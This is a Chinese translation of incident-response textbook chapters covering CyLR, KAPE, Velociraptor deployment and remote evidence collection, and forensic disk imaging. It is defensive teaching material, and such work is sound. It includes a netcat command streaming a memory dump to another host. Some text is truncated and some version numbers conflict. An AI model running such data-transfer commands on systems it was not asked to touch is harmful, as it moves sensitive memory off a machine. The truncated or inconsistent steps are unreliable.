若要获取非易失性日志文件和其他受保护文件,请通过命令提示符导航到 CyLR.exe 可执行文件,并以管理员身份运行它。包含证据文件的输出目录将与 CyLR.exe 应用程序位于同一目录。如果您从 USB 设备运行此工具,这样做非常方便,因为输出将直接保存在 USB 上。
当 CyLR.exe 应用程序正在运行时,响应人员将能够看到正在获取的各个文件:

图 6.15 – CyLR 输出
根据处理器和可用 RAM 的不同,CyLR.exe 预计运行几分钟。之后,以下消息将出现:

图 6.16 – CyLR 完成消息
最后,检查运行 CyLR.exe 的目录,将会发现一个压缩文件,其文件名为系统的名称。解压缩文件后,可以看到收集的广泛证据:

图 6.17 – CyLR 获取的文件
输出包括日志文件、注册表文件和主文件表,这些将在后续章节中非常重要。通过简单工具获取这些数据是使用 CyLR.exe 在系统关闭前获取证据的一个主要优势。
Kroll 工件解析器与提取工具
与 CyLR 类似,Kroll Artifact Parser and Extractor (KAPE) 是一款专为数字取证设计的工具,能够提取具有法证相关性的工件,并解析这些工件以便使用各种附加工具进行分析。KAPE 利用模块和目标的组合来提取相关证据。该提取过程可以在活跃系统和磁盘映像上执行。KAPE 可以从 Kroll 网站下载:www.kroll.com/en/insights/publications/cyber/kroll-artifact-parser-extractor-kape。
整个工具集包含在一个压缩文件中。下载后,解压文件夹内容。KAPE 可以在本地系统或 USB 驱动器上运行;这允许分析员只需将 USB 驱动器连接到嫌疑系统并从那里执行所有命令。文件中有两个可执行文件:kape.exe 是命令行版本,gkape.exe 是基于图形界面的版本。以管理员身份运行 gkape.exe,然后会出现以下窗口:

图 6.18 – KAPE 图形界面
图 6.18 中的数字 1 是分析员配置目标选择的位置。数字 2 显示了目标选择。这些是分析员将选择用于提取的证据收集项。数字 3 表示 KAPE 命令行将出现的位置。在以下示例中,KAPE 将对一个活跃系统进行操作。接下来将捕获必要的证据,以便使用预设的证据列表对目标系统进行初步分诊分析:
- 在这个示例中,KAPE 将在 Windows 系统的根目录中运行,根目录由驱动器字母
C表示。提取后的输出文件将保存到一个可移动 USB 驱动器上的Acct_LT009文件夹中,如 图 6.19 所示:

图 6.19 – 设置目标源和目标位置
- 接下来,分析员需要选择提取的目标。在此案例中,分析员正在进行初步分诊并选择
!``SANS_Triage目标:

图 6.20 – SANS_Triage 目标
- 要查看每个目标选择提取的工件,双击该选择。在此案例中,以下窗口显示了提取的工件:

图 6.21 – SANS 目标详情
- 选择目标后,KAPE 会提供将要使用的命令行。KAPE 也可以通过命令行运行
kape.exe可执行文件。这允许分析员在图形界面中构建命令,并在必要时将输出用于脚本:

图 6.22 – KAPE 命令行命令
选择输出以下命令:
.\kape.exe --tsource C: --tdest E:\Acct_LT009 --tflush --target !SANS_Triage –gui
- 设置参数后,分析师点击执行!按钮。一个新窗口将会打开,提示目标或模块目标的任何内容将被销毁。分析师应确保工件文件夹的内容没有任何文件。点击确定以继续。

图 6.23 – 数据销毁警告
- KAPE 打开了一个额外的窗口,显示工件识别和提取的进度:

图 6.24 – KAPE 命令输出
- KAPE 处理完成后,
C目录以及 KAPE 文件已存储在 USB 驱动器上:

图 6.25 – 获取的 KAPE 目标
- 检查
C目录显示出一些提取的工件:

图 6.26 – KAPE 获取的工件详情
正确的证据处理开始了整个过程,旨在确定事件的根本原因,并可能识别责任方。为了使证据在事件调查中发挥作用,必须以正确的方式获取证据。事件响应人员应具备坚实的基础,理解各种获取类型,以及可用的工具和技术,并将这些工具和技术应用于可能出现的不同情况。通过应用可靠的技术并正确记录他们的操作,事件响应人员将能够利用证据,不仅确定事件的根本原因,还能在必要时在法庭上支持他们的行动。
总结
运行中的系统包含大量信息。像无文件恶意软件这样的威胁要求分析师和事件响应人员在系统仍然运行时迅速采取行动。捕捉这些证据需要充分的准备和数字取证工具的正确执行。在本章中,我们讨论了了解证据的挥发性顺序对于制定获取策略的作用。接着我们研究了在实时系统获取中应使用的程序。最后,我们转向使用命令行和图形用户界面工具来获取所需的工件。这些技术对于事件响应人员来说是无价的,因为它们能确保获取的证据是可信且可靠的。
在下一章中,我们将探讨如何从远程系统获取类似的证据。
问题
请回答以下问题,以测试你对本章的理解:
-
在查看挥发性顺序时,以下哪一类证据应首先获取?
-
随机存取存储器
-
页面文件或交换文件
-
中央处理单元,寄存器
-
存储驱动器
-
-
如果使用 FTK Imager,最好在获取 RAM 时同时获取页面文件。
-
正确
-
错误
-
-
在从虚拟系统重建内存时,响应人员应同时获取 VMSS 和 VMEM 文件。
-
正确
-
错误
-
进一步阅读
有关本章涵盖的主题的更多信息,您可以参考以下内容:
-
易失性顺序:
www.forensicswiki.org/wiki/Digital_evidence#Order_of_Volatility -
高级数据采集 模型:
researchrepository.murdoch.edu.au/id/eprint/14422/ -
数字证据 收集最佳实践:
digital-forensics.sans.org/blog/2009/09/12/best-practices-in-digital-evidence-collection/
第七章:远程证据收集
获取内存的首选方法是通过与嫌疑系统的直接接触。这种方法使事件响应分析师能够根据工具或技术是否有效进行灵活调整。由于不依赖稳定的网络连接,这种方法也能更快速地获取所需文件。尽管这是首选方法,但可能会受到地理限制,尤其是对于大型组织来说,事件响应分析师可能需要乘飞机才能到达存放证据的地点。
在远程获取的情况下,事件响应分析师可以利用与本地获取中相同的工具。唯一的变化是,事件响应分析师需要利用远程技术访问嫌疑系统并执行捕获。和任何使用的方法一样,事件响应分析师应该确保记录任何远程技术的使用情况。这将有助于后续正确区分合法连接与可疑连接。
在本章中,我们将涵盖以下主要内容:
-
企业事件响应挑战
-
端点检测与响应
-
迅猛龙概述与部署
-
迅猛龙场景
企业事件响应挑战
上一章集中讨论了当分析师或响应人员能够物理接触系统时如何获取证据。现实情况是,这通常并非如此。基础设施迁移到像亚马逊网络服务(AWS)这样的云服务,或者远程工作队伍的普及,造成了响应人员很可能无法物理接触到设备,也无法插入 USB 设备并运行工具来获取证据。
这个挑战的加剧之处在于,需要比传统数字取证方法提供的更迅速地获取更多可操作的信息。例如,传统的数字取证方法要求分析师对受感染系统进行完整成像,捕获内存和其他证据。然后,这些数据会被传输到分析工作站,经过数小时或数天,分析师才能获取必要的数据。在一些事件可能局部发生,或需要更详细入侵分析的情况下,这种方法是必要的。然而,在其他情况下,这种分析方法在面对可能影响成百上千台系统时并不具备可扩展性。
摒弃这种传统的数字取证与调查模型,转而采用实时筛查方法。在这种方法中,从怀疑已被攻破的系统中收集数据。这里的重点是将高价值数据收集到一个中心位置,在那里可以对其进行索引和分析。数据集中后,分析人员可以利用工具和技术扩大调查范围。采用这种技术将使分析人员能够集中精力调查具有最大证据价值的系统。正是在这些系统上,分析人员可以应用数字取证的全部焦点,以便更好地理解对手及其行为。
端点检测与响应
勒索软件无疑是改变了事件响应方式的主要威胁之一。此类攻击的速度和广泛影响突显了需要为分析人员提供一种跨整个网络基础设施进行搜索的方法的工具。这就是端点检测与响应(EDR)工具登场的地方。
EDR 工具源于传统的基于签名的防病毒软件,这类防病毒软件在业界存在了近二十年。基于匹配哈希值和其他签名的能力,EDR 工具为安全和事件响应团队带来了亟需的分布式能力。市面上有各种商业化的 EDR 平台,每个平台都有独特的功能,但从整体来看,它们通常能够执行以下功能:
-
regsvr32.exe二进制文件绕过 Windows 保护机制并执行恶意代码(attack.mitre.org/techniques/T1218/010/)。 -
自动响应:EDR 平台的另一个关键功能是自动化响应操作。例如,可以设置当检测到恶意文件时,触发隔离终端的操作,以防止对手利用它进行横向移动。其他自动化操作包括禁止恶意二进制文件执行或切断特定进程的网络连接。EDR 平台的另一个重要自动化特性是通过电子邮件或即时消息通知特定人员,以便快速响应。
-
数字取证获取和分析:EDR 平台对事件响应分析人员的主要优势在于能够远程获取和分析数字证据。例如,EDR 平台将能够显示最近执行的二进制文件或系统中添加的其他文件。分析人员可以在整个网络范围内搜索这些指标,而不是试图在单个系统上查找这些文件。另一个优势是还能够获取被怀疑具有恶意活动的个别文件或整个取证包。这种功能显著减少了收集证据所需的时间,同时也允许规模化搜索和收集。
根据 EDR 平台的不同,组织在部署方面也具有灵活性。部署的主要方法是使用一个云管理控制台,各个端点通过代理与之通信。这种部署方式可以监视内部和基于云的系统,并为远程分析人员和事件响应人员提供灵活性。
EDR 平台的一个主要缺点是成本。这种功能并非没有成本。鉴于 EDR 平台的可见性和功能性,它们迅速成为各种规模组织的关键工具,对于事件响应人员快速获得事件意识和调查整个网络上广泛对手活动的能力至关重要。
Velociraptor 概述和部署
除了商业平台外,还有开源工具可供事件响应团队使用,提供了至少部分 EDR 平台中的功能。其中之一是Velociraptor。该工具使用一个中央服务器,端点代理连接到该服务器,如图 7.1所示。这些端点代理,称为客户端,管理对远程系统上的工件的搜索。这将搜索和证据获取的负载放在端点上,减少了服务器的负载,并允许在多个远程客户端上进行并发搜索。
Velociraptor 文档
本章仅涵盖了 Velociraptor 功能的有限部分。要了解功能的完整细节,包括其他数字取证用例,请查阅 Velociraptor 文档:docs.velociraptor.app/。

图 7.1 – Velociraptor 设置
为了演示 Velociraptor 的一些功能,将配置一个服务器。之后,将创建一个 Windows 客户端并部署到 Windows 端点。然后,我们将看看 Velociraptor 如何用于获取端点行为数据并提取有意义的证据以供进一步调查。
Velociraptor 服务器
Velociraptor 工具的第一部分是服务器,负责管理稍后将安装在端点的代理。有关部署的详细说明,可以在 Velociraptor GitHub 页面找到,网址是 github.com/Velocidex/velociraptor。此外,还提供了多种部署服务器的选项,包括使用 Windows 和 Linux 操作系统以及 Docker。在本例中,服务器应用程序将在 Ubuntu 20.04 LTS 服务器上安装。安装服务器后,按照以下步骤安装应用程序:
静态 IP
在开始之前,一个关键的考虑是给 Velociraptor 配置一个静态 IP 地址。稍后配置的代理需要这个 IP 地址,任何更改都会使代理失效。
-
一旦 Linux 服务器配置完成,可以通过控制台或 SSH 登录服务器并安装 Velociraptor。首先,使用以下命令创建一个目录用于存放 Velociraptor 文件:
mkdir velociraptor -
切换到 Velociraptor 目录:
cd velociraptor -
使用 Linux
wget命令从 GitHub 下载 Velociraptor 包:wget https://github.com/Velocidex/velociraptor/releases/download/v0.6.4- 1/velociraptor-v0.6.4-1-linux-amd64 -
接下来,输入以下命令以允许 Velociraptor 包执行:
chmod +x velociraptor-v0.6.4-1-linux-amd64 -
现在 Velociraptor 已经设置为运行,下一步是创建包含设置的 YAML 配置文件:
./velociraptor-v0.6.4-1-linux-amd64 config generate > velociraptor.config.yaml -
配置文件需要编辑,以包括 GUI 的 IP 地址,并与将与服务器通信的代理进行通信。使用 VIM 或 Nano 编辑文件。这里以 Nano 为例:
nano velociraptor.config.yaml -
在
velociraptor.config.yaml文件中,有两个与 localhost 相关的条目。找到这些条目并将其替换为服务器的 IP 地址。接下来,有三个与 IP 地址127.0.0.1相关的条目;同样,替换为服务器的 IP 地址。 -
将配置文件移到
/etc目录中:sudo mv velociraptor.config.yaml /etc -
接下来,设置一个管理员密码以访问 Velociraptor GUI。系统提示时输入密码:
./velociraptor-v0.6.4-1-linux-amd64 --config /etc/velociraptor.config.yaml user add admin --role administrator -
要启动 Velociraptor 前端 GUI,请执行以下命令:
./velociraptor-v0.6.0-1-linux-amd64 --config /etc/velociraptor.config.yaml frontend -v -
如果安装成功,您应该能够登录到 GUI,打开以下仪表板:

图 7.2 – Velociraptor 欢迎界面
如前述步骤所示,设置 Velociraptor 非常简单。此外,服务器可以部署在内部网络或云基础设施中,例如 AWS 或 Azure。这使得事件响应分析员能够从任何与互联网连接的系统中收集数据。这也免去了维护系统的需求,因为 Velociraptor 可以根据需要部署,发生事件时可以启动,或者作为虚拟系统进行维护并根据需要启动。
现在服务器已经配置好,我们可以继续构建一个 Windows 收集器,允许分析员检查远程 Windows 系统。
Velociraptor Windows 收集器
Velociraptor 收集器是安装在被监控端点上的代理,并与服务器连接。要配置收集器,请按照以下步骤操作:
-
在配置客户端之前,Velociraptor 应用程序需要能够接受自签名的 SSL 证书。访问已移动到
/etc目录的velociraptor.config.yaml文件:sudo nano /etc/velociraptor.config.yaml -
在第一个证书的
nonce行后添加以下行:use_self_signed_ssl: true
参考以下截图以供参考:

图 7.3 – 配置 Velociraptor YAML 文件
-
从 Velociraptor 服务器的命令行中,切换到
velociraptor目录:cd velociraptor -
创建一个客户端配置文件:
./velociraptor-v0.6.4-1-linux-amd64 --config /etc/velociraptor.config.yaml config client > client.config.yaml -
从 GitHub 下载 Windows 可执行文件:
wget https://github.com/Velocidex/velociraptor/releases/download/v0.6.4-1/velociraptor-v0.6.4-windows-amd64.exe -
以下命令将 Windows 可执行文件与配置文件结合,以便 Windows 端点能够与服务器进行通信:
./velociraptor-v0.6.0-1-linux-amd64 config repack --exe velociraptor-v0.6.0-1-windows-amd64.exe client.config.yaml Velociraptor_Agent.exe -
最后,确保在 Velociraptor 服务器上安装了 Secure Shell 服务:
sudo apt install openssh-server -y
收集器现在已经配置完毕。要将收集器从 Velociraptor 服务器上取下,只需使用任何 SFTP 将其从系统中传输出来。然后,将其传输到您想要监控的 Windows 端点。接下来,使用 Windows 命令提示符 Velociraptor_Agent.exe service install 命令安装 Velociraptor 服务,如下所示:

图 7.4 – Velociraptor 代理安装
Velociraptor 场景
Velociraptor 是一个功能丰富的平台,可用于广泛的数字取证和事件响应任务。本讨论的重点是使用 Velociraptor 访问远程系统命令行并返回数据,以及运行证据收集二进制文件。
Velociraptor 证据收集
Velociraptor 是一个功能丰富的工具,具有广泛的能力。在本章中,重点将放在获取端点的基本信息、通过命令行进行证据采集,以及最终获取证据包以便进一步分析。这应该足以让您至少对 Velociraptor 有一些了解。在后续章节中,我们将探讨使用 Velociraptor 进行分析和威胁狩猎。
使用 Windows 命令行
在进行初步分诊分析时,常常被忽视的一个工具是 Windows 命令行。在这里,分析师可以检查正在运行的进程和网络连接并提取文件。Velociraptor 具备让分析师通过命令行在远程系统上运行命令和证据工具的能力:
- 从主屏幕上,导航到搜索客户端框并选择下拉箭头。选择显示所有以查看主机:

图 7.5 – 搜索客户端
- 这将显示 Velociraptor 正在通信的所有系统。带有绿色按钮的系统当前正在与 Velociraptor 通信。如果有红色按钮,则表示端点代理未与服务器通信,需要重新启动:

图 7.6 – 客户端列表
- 在这个例子中,分析员想要查看主机名DESKTOP-9SK5KPF。单击相应的客户端 ID 将显示以下信息:

图 7.7 – 客户端信息
- Velociraptor 的一个有用特性是利用 Windows 命令行和 PowerShell 终端在 Velociraptor 服务器上进行初步分类和调查。要访问此功能,请导航到窗口右上角并单击>****_Shell按钮:

图 7.8 – 访问 Shell
- 这将打开一个窗口,分析员可以访问命令行、PowerShell、Bash 或 VQL。在这种情况下,分析员通过输入命令并单击Launch来对目标系统运行
netstat命令。这将产生以下结果:

图 7.9 – Windows netstat 命令输出
这个功能在进行系统的初步分析或分类时非常有用。检查网络连接或运行进程可能会揭示恶意软件或命令和控制的存在。这使分析员能够专注于可能具有这些指标的系统。另一种获取证据的技术是从命令行运行在上一章中讨论的工具。
CyLR
从远程系统获取证据的一个简单方法是使用在上一章中讨论的 CyLR 工具。在这种情况下,结果可以使用 SFTP 发送到远程服务器或工作站。只需使用以下命令运行 CyLR,并输入目标服务器的用户名和密码:
CyLR.exe -u username -p password -s 192.168.0.15
一个有用的技术是将所有证据发送到一个中央服务器,多个分析员可以在那里工作。在第十二章中,CyLR 将与 Skadi 平台上可用的其他工具结合使用。
WinPmem
WinPmem 可以通过本机应用程序(如远程桌面或 PsExec)部署到远程系统上。一旦安装在远程系统上,WinPmem 的输出可以通过 NetCat 传输到另一个系统。例如,假设事件响应分析员正在使用位于192.168.0.56的系统。如果分析员能够通过 PSExec 或 RDS 访问受损主机,他们可以通过以下命令建立 NetCat 连接回到自己的机器:
C:/winpmem-2.1.exe - | nc 192.168.0.56 4455
前面的命令告诉系统执行捕获并通过 NetCat 将输出发送到端口4455上的事件响应分析师工作站。这种技术的缺点是需要访问命令提示符,以及安装 NetCat 和 WinPmem。如果事件响应分析师正在处理被怀疑被入侵的系统,这可能不是最佳选择。
虚拟文件系统
Velociraptor 的另一个关键功能是虚拟文件系统(VFS)。这使分析师能够检查远程系统上的文件结构。这对于分析师知道他们想要收集与警报或事件相关的特定文件或文件的情况非常有用。在以下示例中,分析师已被警告远程系统上存在可疑的 DLL 文件,并被要求收集该文件进行分析:
- 从与前一个示例相同的窗口中,点击VFS按钮:

图 7.10 – 访问 VFS
- 根据连接情况,这可能需要几分钟来加载。加载完成后,点击ntfs部分,如图所示:

图 7.11 – VFS
- 在浏览文件系统时,如果出现无可用数据的错误消息,请点击文件夹图标,这将刷新目录:

图 7.12 – 刷新按钮
除了刷新目录外,从左到右的额外图标将递归刷新目录,递归下载目录,或查看收集的工件。
- 导航到
C:\Program Files\Common Files\System目录显示了一些 DLL 文件。其中一个引人注目的是bghe21.dll文件,其修改日期和时间为2022-05-04,时间为09:44:20 UTC。这引人注目,因为其他 DLL 文件似乎早在之前就被修改过了:

图 7.13 – 可疑 DLL
- 点击从客户端收集按钮将从系统下载可疑的 DLL 文件进行分析:

图 7.14 – 收集文件
VFS 对于那些分析师有一些数据指向特定文件或目录以搜索证据的事件和事故非常有用。这一功能显著减少了获取特定文件所需的时间。然而,在某些情况下,分析师需要从远程系统获取证据包。在这种情况下,可以利用 Velociraptor 获取与事件调查相关的一系列文件和其他数据。
Velociraptor 证据收集
本章最后一个要讨论的功能是从远程系统收集证据以进行分析。此功能使分析师能够远程收集数据,而无需使用穿透网方法,具有显著的优势。在这种情况下,将使用 Velociraptor 从远程系统收集 KAPE 证据:
- 从头开始,要从系统收集证据,请点击可疑系统对应的客户端 ID – 在本例中是DESKTOP-9SK5KPF:

图 7.15 – 客户端列表
- 在左侧窗格中,点击底部的倒计时图标:

图 7.16 – 集合图标
- 在新窗口中,点击导航栏左上角的新建集合加号:

图 7.17 – 开始新的集合
- 这将打开新建集合:选择要收集的工件窗口。可以收集的证据项和集合范围广泛。在本例中,分析师希望收集 KAPE 的目标工件。导航到Windows.KapeFiles.Targets,如下所示:

图 7.18 – 选择工件
- 点击工件时,右侧窗格将弹出以下对话框。此信息详细说明了可以设置的参数。这与之前关于 KAPE 讨论的集合类型相匹配:

图 7.19 – KAPE 目标详细信息
- 在屏幕底部,点击配置参数:

图 7.20 – 集合参数
- 在新建集合:配置参数窗口中,点击Windows.KapeFiles.Target。这将打开图 7.21中的窗口。此窗口允许分析师选择上一章讨论的特定 KAPE 目标。在这种情况下,通过点击_BasicCollection旁边的复选框来执行基本集合:

图 7.21 – 集合参数详细信息
- 审核指定资源窗口。在这种情况下,可以保留默认设置,但这允许分析师配置代理如何利用资源。点击审核按钮以审核集合请求:

图 7.22 – 集合请求审核
- 点击启动按钮。在集合运行时,窗口中会出现一个沙漏图标,并显示唯一的 Flow ID:

图 7.23 – 集合请求进度
- 集合完成后,可以通过点击结果窗格中的文件柜图标下载文件。这样可以使下载项如图所示:

图 7.24 – KAPE 目标准备好下载
- 然后,可以使用 KAPE 或其他后续讨论的工具在分析师的工作站上检查文件:

图 7.25 – 获取的证据
到此为止,我们已完成本章内容。
数字取证获取的一个重大挑战是如何将其扩展到远程系统,并能够快速分析数据。即使面对这一挑战,事件响应分析师仍然可以利用像 Velociraptor 这样的工具,既可以作为独立的解决方案,也可以与他们已有的工具集成。通过这种组合,他们能够迅速集中精力分析那些具有最大证据价值的系统。这为决策者提供了对对手行为性质的理解,并能在不必等待全面分析的情况下采取相应措施,而如今的 IT 操作由于其远程性质,往往使得全面分析受到极大限制。
总结
在本章中,我们探讨了端点检测与响应工具如何为分析师提供大规模开展调查的能力。在此基础上,我们考察了开源工具 Velociraptor,介绍了其设置与配置、代理部署,以及 Velociraptor 在多个场景中如何协助收集证据并进行事件相关分析。请记住这些场景,特别是在我们讨论《第十七章》中的勒索软件调查时。
在下一章,我们将探讨如何正确地为后续分析制作系统存储的镜像。
问题
回答以下问题,以测试你对本章内容的掌握情况:
-
在一次事件调查中,可能不需要在进行分析之前获得完整的磁盘或内存镜像。
-
正确
-
错误
-
-
以下哪项不是 EDR 平台的优势?
-
成本
-
调查的可扩展性
-
事件警报
-
集中管理
-
-
Velociraptor 的一个优势是,所有处理都在 Velociraptor 服务器上完成。
-
正确
-
错误
-
第八章:法医成像
事件响应分析师通常必须执行的一个关键任务是成像数字证据。正如我们在前几章中讨论的那样,与事件相关的大量证据可以在日志文件、内存和其他区域中找到,并且可以相对迅速地获取。在某些事件中,如内部恶意活动(例如欺诈、工业间谍活动或数据泄漏),可能需要更详细的证据搜索。这些证据包括主文件表条目、文件以及包含在嫌疑系统硬盘上的特定用户数据。如果事件响应分析师遇到这种情况,他们将需要获取嫌疑驱动器的图像。与数字取证的任何方面一样,获得一个可用且可供法庭辩护的图像,依赖于使用适当的工具、技术和文档。
本章将探讨数字成像的基本概念,以及获取物理驱动器或其他逻辑卷的法医影像所需的准备工作和工具。更具体地,我们将涵盖以下主题:
-
理解法医成像
-
成像工具
-
准备暂存驱动器
-
使用写保护器
-
成像技术
虽然本章介绍了一些非常技术性和过程驱动的内容,但响应人员必须理解成像过程。这个过程对于生成能够用于根本原因分析(RCA)和潜在法庭使用的图像至关重要。
理解法医成像
成像存储驱动器是一个注重细节的过程。本节为法医成像提供了坚实的基础,介绍了如何完成成像、各种数字成像过程以及各种专有文件格式。
对法医成像各个方面有透彻理解,对于事件响应分析师来说至关重要。了解涉及的工具、技术和程序可以确保证据得到妥善处理,并且分析师对其所获取的证据充满信心。此外,了解必要的术语使分析师能够准确地准备报告,并在需要时就其发现提供证词。
图像与复制
首先应理解的一个概念是法医成像与复制之间的区别。从嫌疑人硬盘或其他介质中复制文件,只能为分析师提供与该文件相关的实际数据。另一方面,成像允许分析师捕捉整个驱动器的数据。这包括如空闲空间、未分配空间以及可能访问已删除文件的区域。成像还会保留卷上的元数据,包括文件时间戳。如果进行时间线分析以确定特定文件何时被访问或删除,这一点至关重要。
经常会将克隆和影像这两个术语互换使用。这在 IT 领域中是一个常见的术语误用。在克隆一个驱动器时,会制作一个一对一的驱动器副本。这意味着该驱动器可以插入系统并启动。克隆驱动器通常是为了对关键驱动器进行完全备份而进行的。虽然克隆的驱动器包含所有必要的文件,但在使用取证工具时它比较笨重。因此,会制作一个影像文件。驱动器的影像包含所有必要的文件;其配置允许在使用取证工具时进行详细的检查。
逻辑卷与物理卷
需要理解的第二个概念是可以被影像化的卷类型。卷可以分为物理卷和逻辑卷。物理卷可以被认为包含整个硬盘。这包括任何分区以及D:驱动器。当影像化一个逻辑卷时,分析员只会捕获D:驱动器中的数据。
以下图表说明了在影像化物理卷或逻辑卷时所捕获的数据:

图 8.1 – 物理卷与逻辑卷
正在调查的事件类型在很大程度上决定了所进行的影像类型。例如,如果分析员能够识别出从D:驱动器执行的潜在恶意文件,并且仅打算捕获该数据,那么获取该卷的逻辑影像可能会更快。此外,在使用全盘加密(FDE)的情况下,可能需要进行逻辑获取。没有加密密钥的情况下,在系统运行时进行文件的逻辑获取通常是唯一可用的选项。
逻辑影像的一个关键缺点是,它不会捕获未分配的数据或不是文件系统一部分的数据。已删除的文件和其他痕迹证据不会成为逻辑影像的一部分。在怀疑如员工不当行为等活动的情况下,分析员需要尽可能追踪所有活动,因此将对物理卷进行完整影像。时间不是一个必要因素。
在第五章中,我们讨论了从正在运行或开机的系统中获取证据,例如日志文件和内存。以类似的方式,事件响应分析员能够从运行中的系统获取逻辑卷。这个技术被称为实时影像。如果一个潜在被入侵的系统无法下线——比如在高可用性(HA)的生产服务器中——而潜在证据位于逻辑卷中,那么实时影像可能是最好的选择。
死机影像是对已经断电并移除硬盘的系统进行的影像。在这种影像类型中,分析师可以捕获整个磁盘,包括所有卷和 MBR。这在分析师希望确保捕获源证据的完整性时变得必要,确保没有任何未被检查的区域。
图像文件的类型
取证影像的另一个方面是分析师需要了解的图像文件类型,这些文件可以在调查过程中创建并被利用。图像文件有多种类型,其中一些非常专业,但本书的目的在于重点讨论分析师在事件处理中最常创建和使用的三种最常见的证据文件类型:
-
.raw、.img和.dd扩展名。一些软件,如 Linux 中的dd命令,在速度和与取证工具的兼容性可能成为问题时提供了灵活的选项。 -
高级取证文件格式(AFF4):AFF4 是一种开源图像文件格式。该格式首次在 2009 年提出,用于支持多个工具,如 Google 快速响应(GRR)。
-
EnCase 证据文件:EnCase 证据文件,或 E01 或 EX01 文件,是 OpenText 于 1998 年作为其 EnCase 取证工具的一部分开发的专有文件格式。该格式基于 专家证人格式(EWF),该格式在 ASR Data 的专家证人压缩格式中被发现。E01 文件包含有关影像的元数据。存储在头部和尾部的元数据记录并保存有关驱动类型、操作系统和时间戳的信息。E01 文件的另一个关键特性是包含 循环冗余校验(CRC)。该 CRC 是在每写入 64 KB 数据到影像文件后进行的文件完整性验证。CRC 确保了整个影像文件中前一个数据块的完整性。最后,E01 文件在文件尾部包含一个 信息摘要算法 5(MD5)哈希。下图展示了在影像处理过程中,E01 文件的哪些组件会被创建:

图 8.2 – E01 文件格式
SSD 与 HDD
事件响应分析师需要理解的另一个关键影像概念是如何对特定存储介质进行影像——特别是理解 硬盘驱动器(HDD)与 固态硬盘(SSD)之间的区别。随着 SSD 在笔记本电脑和台式机等终端设备中变得越来越普遍,理解这一差异变得至关重要。
两者之间的主要区别在于信息存储的最细节部分。传统的旋转硬盘(HDD)通过改变实际旋转磁盘上的磁极来存储信息。因此,数字取证和事件响应分析师在处理证据时需要了解磁场,以及为什么掉落 HDD 往往会对磁盘造成致命损害。
硬盘驱动器(HDD)中一个让数字取证检查员感兴趣的方面是数据的处理方式。数据写入磁盘后会停留在分配给该数据的扇区中。当用户删除一个文件时,数据并不会被移除。数据可能会被完全或部分覆盖,使用适当的镜像工具,这些数据可以被定位并重建进行分析。
由于硬盘驱动器(HDD)的工作原理以及数据重建的可能性,创建物理磁盘镜像是一个很好的实践。这包括通过切断电源而非通过操作系统关闭系统来关闭设备。这可以保留分析人员访问硬盘时的状态。在无法做到这一点的情况下,可以从正在运行且已开机的系统中获取逻辑镜像。
另一方面,SSD 通过存储在单元中的电子状态来保存信息。这种数据存储方式使用命令fsutil behavior query disabledeletenotify,如果操作系统使用的是 SSD,Windows 命令提示符会返回以下输出:

图 8.3 – 启用 TRIM 操作
固态硬盘(SSD)芯片组的另一个让数字取证和事件响应分析师关心的特点是“磨损均衡”。SSD 中的电子有有限的生命周期,不能持续不断地开关。如果操作系统只使用硬盘的前 100GB,它可能会损坏这一部分,导致硬盘无法使用。为了防止这种情况,SSD 采用磨损均衡技术,将数据不断地移动到硬盘的不同位置,从而减少使硬盘无法使用的可能性。
这两个特性意味着传统的写保护器无法确保在镜像过程中不对硬盘做出任何更改,因为 PCB 管理着数据的写入和在 SSD 上的均衡方式。虽然可以进行镜像,但分析人员无法确保在过程中没有对硬盘进行更改。为了限制这些更改,分析人员应在找到硬盘时就开始镜像。如果系统已经关闭,应移除硬盘并进行镜像。如果系统仍在运行,必须进行实时镜像。
镜像工具
正如我们之前讨论的内容一样,响应人员有多个工具可用于镜像硬盘。了解这些工具能帮助响应人员知道在事件中应用哪个工具。
虽然没有法院或法律机构认证数字取证成像工具,但有几种方法和相关工具代表了获取磁盘证据时的最佳实践。让我们现在来看看这些方法:
-
FTK Imager:FTK Imager 是由 Access Data 提供的免费软件应用程序。这个基于 GUI 的应用程序允许法医学上可靠地获取逻辑和物理卷、内存以及其他受保护的文件,并以各种格式输出这些镜像。此外,FTK Imager Lite 是一个自包含的应用程序,可以在可移动介质上运行,用于从运行中的系统中获取数字证据(稍后将在本章中详细介绍)。
-
EnCase Imager:由 Guidance Software 提供,EnCase Imager 是另一个取证应用程序,允许响应者从各种系统中获取数字证据。与 FTK Imager 一样,EnCase Imager 也可以在外部驱动器上运行,以便获取运行中的系统。
-
AFF4 Imager:AFF4 Imager 是一个命令行可执行文件,是 WinPmem 等工具的基础。AFF4 Imager 可以用于获取逻辑和物理磁盘,如 EnCase 或 FTK Imager。AFF4 Imager 的一个优点是,它可以根据创建时间提取文件,拆分卷,并通过压缩减少成像时间。
-
使用基于 Linux 的取证平台进行证据获取时的
dd命令。 -
虚拟化工具:随着虚拟化的广泛采用,响应者很可能需要从虚拟系统中获取至少一部分证据。然而,这也有一个优点:整个系统可以转储以供分析。根据虚拟化软件的不同,可以通过暂停系统并转储包含系统的整个目录来实现证据获取。这也可以通过许多虚拟化软件平台的快照功能来完成。
你决定使用的成像工具将取决于组织、你的培训和经验以及使用的其他取证工具。例如,如果一个组织使用Forensic Toolkit(FTK)进行分析,可能最好将 FTK Imager 作为过程的一部分使用。使用任何成像工具时,确保工具正常工作,并且响应者已经充分培训如何使用该工具是一个好习惯。
一旦选择了成像工具,下一步是确保其他硬件已准备好。这包括确保存储介质的目标位置已正确准备。
准备暂存驱动器
与学习如何处理证据驱动器一样,拥有一个法医学上可靠的暂存驱动器,将证据成像到此驱动器上同样至关重要。响应者将学习如何准备这个设备。
除了具备进行取证影像所需的硬件和软件外,至关重要的是提前准备一个存储影像或证据文件的位置。对于事件响应团队来说,最适合作为证据存储库的是外部 USB 或 FireWire 硬盘驱动器。这使得具备一定的便携性,因为事件响应人员可能需要在场外或多个地点进行事件调查,而没有取证实验室的帮助。
在使用证据驱动器之前,需要执行两项任务。第一项任务是确保存储库没有任何数据。事件响应团队应有一个政策和程序,要求在每次使用之前擦除证据驱动器。这包括全新的驱动器,因为一些制造商出厂时会在驱动器上附带备份软件或其他数据,这些数据需要在使用之前移除。
擦除还进一步确保先前使用过的驱动器不包含其他事件的任何痕迹数据。这确保了在经过正确擦除的驱动器上收集到的证据不会与不相关的数据混淆。
这可以通过擦除程序轻松完成。有几个程序,无论是免费还是商业的,都可以用于此。例如,Heidi Computers 的 Eraser 程序是一个免费的擦除工具,可以用于文件和磁盘分区的擦除(Eraser 可以从 eraser.heidi.ie/ 下载)。
